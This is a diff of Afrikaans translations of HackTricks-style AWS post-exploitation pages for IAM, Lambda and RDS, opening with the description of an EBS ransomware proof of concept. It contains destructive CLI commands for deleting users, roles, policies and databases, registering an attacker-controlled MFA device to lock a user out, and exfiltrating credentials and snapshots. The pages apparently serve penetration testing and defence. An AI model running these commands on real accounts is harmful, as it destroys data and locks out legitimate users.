+Dit is die python skrip wat gebruik is. Dit neem AWS creds vir 'n 'victim' account en 'n publiek beskikbare AWS ARN waarde vir die sleutel wat vir enkripsie gebruik gaan word. Die skrip sal geënkripteerde kopieë maak van AL die beskikbare EBS volumes wat aan AL die EC2 instances in die geteikende AWS account gekoppel is, dan elke EC2 instance stop, die oorspronklike EBS volumes loskoppel, dit verwyder, en uiteindelik al die snapshots wat tydens die proses gebruik is verwyder. Dit sal slegs geënkripteerde EBS volumes in die geteikende 'victim' account loslaat. GEBRUIK HIERDIE SKRIP SLEGS IN 'N TOETSOMGEWING, DIT IS DESTRUKTIEF EN SAL AL DIE ORIGINELE EBS VOLUMES VERWYDER. Jy kan hulle herstel deur die gebruikte KMS key te gebruik en hulle via snapshots na hul oorspronklike toestand te herstel, maar ek wil jou net bewus maak dat dit uiteindelik 'n ransomware PoC is.
 ```
 import boto3
 import argparse
@@ -557,6 +583,6 @@ main()
 ```
 ## Verwysings
 
-- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
+- [Pentest Partners – Hoe om lêers in AWS met behulp van SSM oor te dra](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md

@@ -4,7 +4,7 @@
 
 ## IAM
 
-Vir meer inligting oor IAM toegang:
+Vir meer inligting oor IAM-toegang:
 
 {{#ref}}
 ../../aws-services/aws-iam-enum.md
@@ -12,15 +12,15 @@ Vir meer inligting oor IAM toegang:
 
 ## Confused Deputy Problem
 
-As jy **allow an external account (A)** to access a **role** in jou rekening, sal jy waarskynlik **0 visibility** hê oor **who can exactly access that external account**. Dit is 'n probleem, want as 'n ander external account (B) toegang tot external account (A) het, is dit moontlik dat **B will also be able to access your account**.
+As jy **allow an external account (A)** om toegang tot 'n **role** in jou rekening te hê, sal jy waarskynlik **0 visibility** hê oor **wie presies daardie external account kan toegang gee**. Dit is 'n probleem, want as 'n ander external account (B) toegang tot external account (A) het, is dit moontlik dat **B ook toegang tot jou account sal kry**.
 
-Therefore, wanneer jy 'n external account toelaat om toegang tot 'n role in jou rekening te kry is dit moontlik om 'n `ExternalId` te spesifiseer. Dit is 'n "geheim" string wat die external account (A) **need to specify** in order to **assume the role in your organization**. As die **external account B won't know this string**, selfs al het hy toegang tot A sal hy **won't be able to access your role**.
+Daarom, wanneer jy 'n external account toelaat om toegang tot 'n role in jou rekening te hê, is dit moontlik om 'n `ExternalId` te spesifiseer. Dit is 'n "secret" string wat die external account (A) **moet spesifiseer** om **assume the role in your organization**. Aangesien die **external account B hierdie string nie sal ken nie**, selfs al het hy toegang tot A, sal hy **nie in staat wees om toegang tot jou role te kry nie**.
 
 <figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
 
-However, let op dat hierdie `ExternalId` "secret" **not a secret** is; enigiemand wat die **IAM assume role policy can read** sal dit kan sien. Maar solank die external account A dit weet, en die external account **B doesn't know it**, voorkom dit dat **B abusing A to access your role**.
+Neem egter kennis dat hierdie `ExternalId` "secret" **nie 'n geheim is nie** — enigiemand wat die **IAM assume role policy kan lees** sal dit kan sien. Maar solank external account A dit weet, en external account **B dit nie weet nie**, voorkom dit dat **B A misbruik om toegang tot jou role te kry**.
 
-Example:
+Voorbeeld:
 ```json
 {
 "Version": "2012-10-17",
@@ -39,11 +39,11 @@ Example:
 }
 ```
 > [!WARNING]
-> Om 'n attacker 'n confused deputy te kan uitbuit, sal hy op een of ander manier moet bepaal of principals van die huidige account rolle in ander accounts kan impersonate.
+> Vir 'n aanvaller om 'n confused deputy te eksploiteer, moet hy op een of ander manier vasstel of principals van die huidige account roles in other accounts kan impersonate.
 
-### Onverwagte vertrouensverhoudings
+### Onverwagte Trusts
 
-#### Wildekaart as principal
+#### Wildcard as principal
 ```json
 {
 "Action": "sts:AssumeRole",
@@ -51,9 +51,9 @@ Example:
 "Principal": { "AWS": "*" }
 }
 ```
-Hierdie beleid **laat alle AWS** toe om die rol aan te neem.
+Hierdie beleid **laat alle AWS toe** om die rol te aanvaar.
 
-#### Diens as hoofpersoon
+#### Diens as hoofakteur
 ```json
 {
 "Action": "lambda:InvokeFunction",
@@ -64,7 +64,7 @@ Hierdie beleid **laat alle AWS** toe om die rol aan te neem.
 ```
 Hierdie beleid **laat enige rekening toe** om hul apigateway te konfigureer om hierdie Lambda aan te roep.
 
-#### S3 as prinsipaal
+#### S3 as principal
 ```json
 "Condition": {
 "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
@@ -73,7 +73,7 @@ Hierdie beleid **laat enige rekening toe** om hul apigateway te konfigureer om h
 }
 }
 ```
-As 'n S3 bucket as principal gegee word, omdat S3 buckets geen Account ID het nie, as jy **jou bucket verwyder het en die aanvaller dit geskep het** in hul eie account, dan kan hulle dit misbruik.
+As 'n S3 bucket as 'n principal gegee is, aangesien S3 buckets nie 'n Account ID het nie, as jy jou **bucket verwyder het en die attacker dit geskep het** in hul eie account, kan hulle dit misbruik.
 
 #### Nie ondersteun nie
 ```json
@@ -84,10 +84,10 @@ As 'n S3 bucket as principal gegee word, omdat S3 buckets geen Account ID het ni
 "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
 }
 ```
-'n Algemene manier om Confused Deputy-probleme te vermy is die gebruik van 'n voorwaarde met `AWS:SourceArn` om die oorsprong ARN te kontroleer. **Sommige dienste mag dit egter nie ondersteun nie** (soos CloudTrail volgens sommige bronne).
+'n Algemene manier om Confused Deputy-probleme te voorkom is die gebruik van 'n voorwaarde met `AWS:SourceArn` om die oorsprong-ARN te kontroleer. Maar **sommige dienste ondersteun dit dalk nie** (soos CloudTrail volgens sommige bronne).
 
-### Verwydering van credentials
-Met enige van die volgende permissies — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — kan 'n akteur access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates of CloudFront public keys verwyder, of roles van instance profiles loskoppel. Sulke optrede kan onmiddellike blokkering van wettige gebruikers en toepassings veroorsaak en tot denial-of-service of verlies van toegang vir stelsels wat op daardie credentials staatmaak lei; daarom moet hierdie IAM-permissies noukeurig beperk en gemonitor word.
+### Verwydering van Kredensiale
+Met enige van die volgende permissies — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — kan 'n akteur toegangssleutels, aanmeldprofiele, SSH-sleutels, diens-spesifieke kredensiale, instansieprofiele, sertifikate of CloudFront openbare sleutels verwyder, of rolle van instansieprofiele ontkoppel. Sulke aksies kan onmiddellik wettige gebruikers en toepassings blokkeer en 'n denial-of-service of verlies van toegang veroorsaak vir stelsels wat op daardie kredensiale staatmaak, daarom moet hierdie IAM-permissies noukeurig beperk en gemonitor word.
 ```bash
 # Remove Access Key of a user
 aws iam delete-access-key \
@@ -99,8 +99,10 @@ aws iam delete-ssh-public-key \
 --user-name <Username> \
 --ssh-public-key-id APKAEIBAERJR2EXAMPLE
 ```
-### Identiteitsverwydering
-Met toestemmings soos `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, of `iam:RemoveUserFromGroup`, kan 'n akteur gebruikers, rolle of groepe verwyder—of groepslidmaatskap verander—waardeur identiteite en geassosieerde spore verwyder word. Dit kan onmiddellik toegang verbreek vir mense en dienste wat van daardie identiteite afhanklik is, wat denial-of-service of verlies van toegang kan veroorsaak, dus moet hierdie IAM-aksies styf beperk en gemonitor word.
+### Verwydering van identiteite
+Met toestemmings soos `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, of `iam:RemoveUserFromGroup`, kan 'n akteur gebruikers, rolle of groepe uitvee — of groepslidmaatskap verander — en sodoende identiteite en geassosieerde spore verwyder.
+
+Dit kan onmiddellik toegang verbreek vir mense en dienste wat op daardie identiteite staatmaak, wat tot denial-of-service of verlies van toegang kan lei, daarom moet hierdie IAM-aksies streng beperk en bewaak word.
 ```bash
 # Delete a user
 aws iam delete-user \
@@ -115,7 +117,7 @@ aws iam delete-role \
 --role-name <Role>
 ```
 ###
-Met enige van die volgende toestemmings — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — kan 'n akteur beheerde/inline-beleide verwyder of loskoppel, beleidsweergawes of toestemmingsgrense skrap, en beleide van gebruikers, groepe of rolle ontkoppel. Dit vernietig verlenings en kan die toestemmingsmodel verander, wat onmiddellike verlies van toegang of diensweiering vir geprinsipale wat op daardie beleide staatgemaak het, tot gevolg kan hê; daarom moet hierdie IAM-aksies streng beperk en gemonitor word.
+Met enige van die volgende regte — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — kan 'n akteur bestuurde of inline-beleide verwyder of loskoppel, beleidsweergawes of toestemmingsgrense verwyder, en beleide van gebruikers, groepe of rolle ontkoppel. Dit haal magtigings uit werking en kan die toestemmingsmodel verander, wat onmiddellike verlies van toegang of diensontkenning vir principale wat van daardie beleide afhanklik was, tot gevolg kan hê, daarom moet hierdie IAM-aksies streng beperk en gemonitor word.
 ```bash
 # Delete a group policy
 aws iam delete-group-policy \
@@ -127,8 +129,8 @@ aws iam delete-role-policy \
 --role-name <RoleName> \
 --policy-name <PolicyName>
 ```
-### Verwydering van Gefedereerde Identiteit
-Met `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` en `iam:RemoveClientIDFromOpenIDConnectProvider` kan 'n actor OIDC/SAML identiteitsverskaffers verwyder of kliënt-ID's verwyder. Dit breek gefedereerde verifikasie, voorkom token-validasie en weier onmiddellik toegang aan gebruikers en dienste wat op SSO staat totdat die IdP of konfigurasies herstel is.
+### Verwydering van gefedereerde identiteite
+Met `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` en `iam:RemoveClientIDFromOpenIDConnectProvider` kan 'n akteur OIDC/SAML-identiteitsverskaffers verwyder of kliënt-ID's uitvee. Dit breek gefedereerde autentisering, voorkom token-validasie en weier onmiddellik toegang aan gebruikers en dienste wat op SSO staatmaak totdat die IdP of die konfigurasies herstel is.
 ```bash
 # Delete OIDCP provider
 aws iam delete-open-id-connect-provider \
@@ -138,8 +140,8 @@ aws iam delete-open-id-connect-provider \
 aws iam delete-saml-provider \
 --saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
 ```
-### Onregmatige MFA-aktivering
-Met `iam:EnableMFADevice` kan 'n akteur 'n MFA-toestel op 'n gebruiker se identiteit registreer, wat die regmatige gebruiker verhinder om aan te meld. Sodra 'n ongemagtigde MFA geaktiveer is, kan die gebruiker uitgesluit word totdat die toestel verwyder of teruggestel is (let wel: as meer as een MFA-toestel geregistreer is, vereis aanmelding slegs een, dus sal hierdie aanval nie toegang kan blokkeer nie).
+### Onbevoegde MFA-aktivering
+Met `iam:EnableMFADevice` kan 'n akteur 'n MFA-toestel op 'n gebruiker se identiteit registreer, wat die bevoegde gebruiker verhinder om aan te meld. Sodra 'n ongemagtigde MFA geaktiveer is, kan die gebruiker uitgesluit wees totdat die toestel verwyder of herstel is (nota: as meerdere MFA-toestelle geregistreer is, vereis aanmelding slegs een; daarom sal hierdie aanval geen effek hê om toegang te weier nie).
 ```bash
 aws iam enable-mfa-device \
 --user-name <Username> \
@@ -147,8 +149,8 @@ aws iam enable-mfa-device \
 --authentication-code1 123456 \
 --authentication-code2 789012
 ```
-### Sertifikaat-/sleutelmetadata-manipulasie
-Met `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, kan 'n akteur die status of metadata van publieke sleutels en sertifikate verander. Deur sleutels/sertifikate as inaktief te merk of verwysings te verander, kan hulle SSH-verifikasie breek, X.509/TLS-validasies ongeldig maak en dienste wat op daardie credentials staatmaak onmiddellik ontwrig, wat tot verlies van toegang of beskikbaarheid lei.
+### Sertifikaat-/Sleutelmetadata-manipulasie
+Met `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` kan ’n akteur die status of metadata van openbare sleutels en sertifikate verander. Deur sleutels/sertifikate as onaktief te merk of verwysings te verander, kan hulle SSH-verifikasie breek, X.509/TLS-validerings ongeldig maak, en onmiddellik dienste ontwrig wat van daardie inlogbewyse afhanklik is, wat tot verlies van toegang of beskikbaarheid lei.
 ```bash
 aws iam update-ssh-public-key \
 --user-name <Username> \
@@ -159,6 +161,33 @@ aws iam update-server-certificate \
 --server-certificate-name <Certificate_Name> \
 --new-path /prod/
 ```
+### `iam:Delete*`
+
+Die IAM-wildcard iam:Delete* verleen die vermoë om baie soorte IAM-bronne te verwyder — gebruikers, rolle, groepe, beleide, sleutels, sertifikate, MFA-toestelle, beleidweergawes, ens. — en het daarom 'n baie groot skadepotensiaal: 'n akteur wat iam:Delete* toegeken is, kan identiteite, geloofsbriewe, beleide en verwante artefakte permanent vernietig, oudit-/bewyse verwyder, en diens- of operasionele onderbrekings veroorsaak. Voorbeelde sluit in
+```bash
+# Delete a user
+aws iam delete-user --user-name <Username>
+
+# Delete a role
+aws iam delete-role --role-name <RoleName>
+
+# Delete a managed policy
+aws iam delete-policy --policy-arn arn:aws:iam::<ACCOUNT_ID>:policy/<PolicyName>
+```
+### `iam:EnableMFADevice`
+
+’n Akteur wat die iam:EnableMFADevice-aksie toegestaan is, kan ’n MFA-toestel op ’n identiteit in die rekening registreer, solank die gebruiker dit nog nie geaktiveer het nie. Dit kan gebruik word om ’n gebruiker se toegang te ontwrig: sodra ’n aanvaller ’n MFA-toestel registreer, kan die regmatige gebruiker verhinder word om aan te meld omdat hulle nie beheer oor die aanvaller-geregistreerde MFA het nie.
+
+Hierdie toegang-weier-aanval werk slegs as die gebruiker geen MFA geregistreer het nie; as die aanvaller ’n MFA-toestel vir daardie gebruiker registreer, sal die regmatige gebruiker uitgesluit word van enige strome wat daardie nuwe MFA vereis. As die gebruiker reeds een of meer MFA-toestelle onder hul beheer het, blokkeer die toevoeging van ’n aanvaller-beheerde MFA die regmatige gebruiker nie — hulle kan aanhou verifieer met enige MFA wat hulle reeds het.
+
+Om ’n MFA-toestel vir ’n gebruiker te aktiveer (registreer) kan ’n aanvaller die volgende uitvoer:
+```bash
+aws iam enable-mfa-device \
+--user-name <Username> \
+--serial-number arn:aws:iam::111122223333:mfa/alice \
+--authentication-code1 123456 \
+--authentication-code2 789012
+```
 ## Verwysings
 
 - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md

@@ -1,32 +1,38 @@
-# AWS - Lambda Post-uitbuiting
+# AWS - Lambda Post Exploitation
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
 ## Lambda
 
-Vir meer inligting sien:
+Vir meer inligting kyk:
 
 {{#ref}}
 ../../aws-services/aws-lambda-enum.md
 {{#endref}}
 
-### Eksfiltreer Lambda Toegangsbewyse
+### Exfilrtate Lambda Credentials
 
-Lambda gebruik omgewingveranderlikes om toegangsbewyse tydens uitvoering in te voeg. As jy toegang daartoe kry (deur `/proc/self/environ` te lees of die kwesbare funksie self te gebruik), kan jy dit self gebruik. Hulle is gestoor in die standaard veranderlike name `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`.
+Lambda gebruik omgewingsveranderlikes om inlogbewyse tydens uitvoering in te spuit. As jy toegang tot hulle kan kry (deur `/proc/self/environ` te lees of die kwesbare funksie self te gebruik), kan jy hulle self gebruik. Hulle lê in die verstek veranderlike name `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, en `AWS_ACCESS_KEY_ID`.
 
-By verstek het hierdie toegang om te skryf na 'n cloudwatch log group (die naam waarvan gestoor is in `AWS_LAMBDA_LOG_GROUP_NAME`), asook om willekeurige log groups te skep; lambda-funksies het egter dikwels meer permissies toegeken gebaseer op hul beoogde gebruik.
+Per verstek het hierdie toegang om na 'n CloudWatch log group te skryf (waarvan die naam gestoor word in `AWS_LAMBDA_LOG_GROUP_NAME`), sowel as om ewekansige log groups te skep. Lambda-funksies het egter gereeld meer toestemmings toegeken gebaseer op hul beoogde gebruik.
 
-### Steel Ander se Lambda URL-versoeke
+### `lambda:Delete*`
+'n aanvaller wat lambda:Delete* toegeken is, kan Lambda functions, versions/aliases, layers, event source mappings en ander geassosieerde konfigurasies verwyder.
+```bash
+aws lambda delete-function \
+--function-name <LAMBDA_NAME>
+```
+### Steel ander se Lambda URL-versoeke
 
-As 'n aanvaller op een of ander manier RCE binne 'n Lambda kry, sal hy ander gebruikers se HTTP-versoeke na die Lambda kan steel. As die versoeke sensitiewe inligting bevat (cookies, toegangsbewyse...) kan hy dit steel.
+As 'n aanvaller op een of ander wyse RCE in 'n Lambda verkry, sal hy in staat wees om ander gebruikers se HTTP-versoeke na die Lambda te steel. As die versoeke sensitiewe inligting bevat (cookies, credentials...) sal hy dit kan steel.
 
 {{#ref}}
 aws-warm-lambda-persistence.md
 {{#endref}}
 
-### Steel Ander se Lambda URL-versoeke & Extensions-versoeke
+### Steel ander se Lambda URL-versoeke & Extensions-versoeke
 
-Deur Lambda Layers te misbruik is dit ook moontlik om extensions te misbruik en volhoubaar in die Lambda te bly, asook versoeke te steel en te verander.
+Deur Lambda Layers te misbruik is dit ook moontlik om extensions te misbruik en in die Lambda te persisteer, en om versoeke te steel en te wysig.
 
 {{#ref}}
 ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -34,7 +40,7 @@ Deur Lambda Layers te misbruik is dit ook moontlik om extensions te misbruik en
 
 ### AWS Lambda – VPC Egress Bypass
 
-Dwing 'n Lambda-funksie uit 'n beperkte VPC deur sy konfigurasie by te werk met 'n leë VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Die funksie sal dan in die Lambda-beheerde netwerkvlak loop, herwin uitgaande internettoegang en egress-beheer wat deur private VPC-subnets sonder NAT afgedwing word omseil.
+Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
 
 {{#ref}}
 aws-lambda-vpc-egress-bypass.md
@@ -42,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md
 
 ### AWS Lambda – Runtime Pinning/Rollback Abuse
 
-Misbruik `lambda:PutRuntimeManagementConfig` om 'n funksie aan 'n spesifieke runtime-weergawe vas te pen (Manual) of om opdaterings te vries (FunctionUpdate). Dit behou versoenbaarheid met kwaadwillige layers/wrappers en kan die funksie op 'n verouderde, kwesbare runtime laat bly om eksploitasie en langtermynpersistensie te vergemaklik.
+Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence.
 
 {{#ref}}
 aws-lambda-runtime-pinning-abuse.md
@@ -50,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md
 
 ### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
 
-Misbruik `lambda:UpdateFunctionConfiguration` se gevorderde logbeheer om 'n funksie se logs na 'n deur die aanvaller gekose CloudWatch Logs log group om te lei. Dit werk sonder om kode of die uitvoeringrol te verander (die meeste Lambda-rolle sluit reeds `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). As die funksie geheime/versoekliggame druk of met stack traces crash, kan jy dit uit die nuwe log group versamel.
+Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group.
 
 {{#ref}}
 aws-lambda-loggingconfig-redirection.md
@@ -58,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md
 
 ### AWS - Lambda Function URL Public Exposure
 
-Skakel 'n private Lambda Function URL om in 'n openbare ongemagtigde eindpunt deur die Function URL AuthType na NONE te skuif en 'n resource-based policy aan te heg wat lambda:InvokeFunctionUrl aan almal toeken. Dit stel anonieme aanroep van interne funksies in staat en kan sensitiewe backend-operasies blootlê.
+Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations.
 
 {{#ref}}
 aws-lambda-function-url-public-exposure.md
@@ -66,15 +72,15 @@ aws-lambda-function-url-public-exposure.md
 
 ### AWS Lambda – Event Source Mapping Target Hijack
 
-Misbruik `UpdateEventSourceMapping` om die teiken-Lambda-funksie van 'n bestaande Event Source Mapping (ESM) te verander sodat rekords van DynamoDB Streams, Kinesis, of SQS na 'n aanvallerbeheerde funksie gelewer word. Dit lei stilweg regstreekse data af sonder om produsente of die oorspronklike funksiekode te raak.
+Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code.
 
 {{#ref}}
 aws-lambda-event-source-mapping-hijack.md
 {{#endref}}
 
-### AWS Lambda – EFS Mount Injection data eksfiltrasie
+### AWS Lambda – EFS Mount Injection data exfiltration
 
-Misbruik `lambda:UpdateFunctionConfiguration` om 'n bestaande EFS Access Point aan 'n Lambda te heg, en implementeer dan triviale kode wat lêers vanaf die gemonteerde pad lys/lees om gedeelde geheime/konfigurasies te eksfiltreer wat die funksie voorheen nie kon bereik nie.
+Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access.
 
 {{#ref}}
 aws-lambda-efs-mount-injection.md

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md

@@ -4,7 +4,7 @@
 
 ## RDS
 
-Vir meer inligting, sien:
+Vir meer inligting sien:
 
 {{#ref}}
 ../../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@ Vir meer inligting, sien:
 
 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
 
-As die attacker genoeg permissions het, kan hy 'n **DB publiek toeganklik** maak deur 'n snapshot van die DB te skep, en dan 'n publiek toeganklike DB vanaf die snapshot te herstel.
+Indien die aanvaller genoeg toestemmings het, kan hy 'n **DB openbaar toeganklik** maak deur 'n snapshot van die DB te skep, en dan 'n openbaar toeganklike DB uit die snapshot te skep.
 ```bash
 aws rds describe-db-instances # Get DB identifier
 
@@ -38,11 +38,47 @@ aws rds modify-db-instance \
 
 # Connect to the new DB after a few mins
 ```
+### `rds:StopDBCluster` & `rds:StopDBInstance`
+'n Aanvaller met rds:StopDBCluster of rds:StopDBInstance kan die onmiddellike stop van 'n RDS DB instance of 'n hele cluster afdwing, wat tot onbeskikbaarheid van die databasis, verbroke verbindings en die onderbreking van prosesse wat van die databasis afhanklik is, sal lei.
+
+Om 'n enkele DB instance te stop (voorbeeld):
+```bash
+aws rds stop-db-instance \
+--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
+```
+Om 'n hele DB-kluster te stop (voorbeeld):
+```bash
+aws rds stop-db-cluster \
+--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
+```
+### `rds:Delete*`
+
+'n Aanvaller wat rds:Delete* toegestaan is, kan RDS resources verwyder — deur DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups en verwante artefakte te verwyder — wat onmiddellike diensonderbreking, dataverlies, vernietiging van recovery points en verlies van forensiese bewyse tot gevolg het.
+```bash
+# Delete a DB instance (creates a final snapshot unless you skip it)
+aws rds delete-db-instance \
+--db-instance-identifier <DB_INSTANCE_ID> \
+--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID>     # omit or replace with --skip-final-snapshot to avoid snapshot
+
+# Delete a DB instance and skip final snapshot (more destructive)
+aws rds delete-db-instance \
+--db-instance-identifier <DB_INSTANCE_ID> \
+--skip-final-snapshot
+
+# Delete a manual DB snapshot
+aws rds delete-db-snapshot \
+--db-snapshot-identifier <DB_SNAPSHOT_ID>
+
+# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
+aws rds delete-db-cluster \
+--db-cluster-identifier <DB_CLUSTER_ID> \
+--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID>   # or use --skip-final-snapshot
+```
 ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
 
-'n aanvaller met hierdie toestemmings kan **'n snapshot van 'n DB skep** en dit **openbaar** **beskikbaar** maak. Dan kan hy net in sy eie rekening 'n DB vanaf daardie snapshot skep.
+An attacker met hierdie permissies kan 'n **snapshot van 'n DB skep** en dit **publiek** **beskikbaar** maak. Daarna kan hy eenvoudig in sy eie rekening 'n DB uit daardie snapshot skep.
 
-As die aanvaller **nie die `rds:CreateDBSnapshot` het nie**, kan hy steeds **ander** geskepte snapshots **openbaar** maak.
+As die attacker nie die `rds:CreateDBSnapshot` het nie, kan hy steeds **ander** geskepte snapshots **publiek** maak.
 ```bash
 # create snapshot
 aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,15 +89,15 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
 ```
 ### `rds:DownloadDBLogFilePortion`
 
-'n aanvaller met die `rds:DownloadDBLogFilePortion` toestemming kan **gedeeltes van 'n RDS-instansie se loglêers aflaai**. As sensitiewe data of inlogbesonderhede per ongeluk in loglêers aangeteken word, kan die aanvaller hierdie inligting moontlik gebruik om hul bevoegdhede te eskaleer of om ongemagtigde handelinge uit te voer.
+'n aanvaller met die `rds:DownloadDBLogFilePortion` toestemming kan **gedeeltes van 'n RDS-instansie se loglêers aflaai**. As sensitiewe data of toegangsbewyse per ongeluk in die loglêers aangeteken is, kan die aanvaller moontlik hierdie inligting gebruik om hul bevoegdhede te verhoog of ongemagtigde aksies uit te voer.
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
-**Potensiële impak**: Toegang tot sensitiewe inligting of ongemagtigde handelinge deur gebruik te maak van leaked credentials.
+**Potensiële impak**: Toegang tot sensitiewe inligting of onbevoegde aksies met behulp van leaked credentials.
 
 ### `rds:DeleteDBInstance`
 
-'n aanvaller met hierdie toestemmings kan **DoS bestaande RDS instansies**.
+'n aanvaller met hierdie toestemmings kan **DoS bestaande RDS-instansies**.
 ```bash
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
@@ -73,28 +109,28 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
 > [!NOTE]
 > TODO: Toets
 
-'n aanvaller met hierdie toestemming kan **'n RDS-instansie-snapshot na 'n S3-bucket uitvoer**. Indien die aanvaller beheer oor die bestemmings-S3-bucket het, kan hulle moontlik sensitiewe data binne die geëksporteerde snapshot toegang kry.
+'n Aanvaller met hierdie toestemming kan **'n RDS-instansie snapshot na 'n S3 bucket uitvoer**. As die aanvaller beheer oor die bestemming S3 bucket het, kan hulle moontlik toegang kry tot sensitiewe data binne die uitgevoerde snapshot.
 ```bash
 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
 **Potensiële impak**: Toegang tot sensitiewe data in die uitgevoerde snapshot.
 
-### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
+### Cross-Region geoutomatiseerde backups-replikasie vir stil herstel (`rds:StartDBInstanceAutomatedBackupsReplication`)
 
-Misbruik cross-Region automated backups replication om stilweg 'n RDS-instance se automated backups na 'n ander AWS Region te dupliseer en daar te herstel. Die aanvaller kan dan die herstelde DB openbaar toeganklik maak en die master-wagwoord terugstel om toegang tot data op 'n wyse buite die normale monitering te verkry in 'n Region wat verdedigers moontlik nie monitor nie.
